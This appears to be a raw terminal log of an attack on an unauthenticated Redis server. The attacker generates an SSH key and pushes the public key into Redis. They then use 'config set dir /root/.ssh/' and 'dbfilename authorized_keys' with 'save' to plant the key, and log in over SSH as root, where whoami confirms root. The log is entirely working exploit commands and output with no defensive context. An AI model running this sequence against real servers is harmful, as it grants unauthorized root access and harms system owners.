root [~] ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): /tmp/redis_login_key
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /tmp/redis_login_key.
Your public key has been saved in /tmp/redis_login_key.pub.
The key fingerprint is:
ec:86:f0:86:0b:b9:53:1f:6b:ae:a1:9a:63:97:03:50 root@CentOS-74
The key's randomart image is:
+--[ RSA 2048]----+
|                 |
|  E              |
| .               |
|.      .         |
|.   .   S        |
| . ..+.o         |
|  +.+.+oo        |
|.o.B ++.         |
|+o+.++.          |
+-----------------+

root [~] (echo -e "\n\n"; cat ./redis_login_key.pub; echo -e "\n\n") > foo.txt
[root@CentOS-74 hack]# cat foo.txt | redis-cli -h 192.168.0.35 -x set crackit
OK
[root@CentOS-74 hack]# redis-cli -h 192.168.0.35
192.168.0.35:6379> config set dir /root/.ssh/
OK
192.168.0.35:6379> config get dir
1) "dir"
2) "/root/.ssh"
192.168.0.35:6379> config set dbfilename "authorized_keys"
OK
192.168.0.35:6379> save
OK
192.168.0.35:6379> quit
[root@CentOS-74 hack]# ssh -i redis_login_key root@192.168.0.35
The authenticity of host '192.168.0.35 (192.168.0.35)' can't be established.
RSA key fingerprint is 00:23:a9:ff:02:2b:cd:5f:f0:5e:7e:7e:ad:68:9d:a2.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.0.35' (RSA) to the list of known hosts.
Last login: Wed Nov 16 16:01:58 2016 from 192.168.17.113
[root@CentOS14 ~]# whoami
root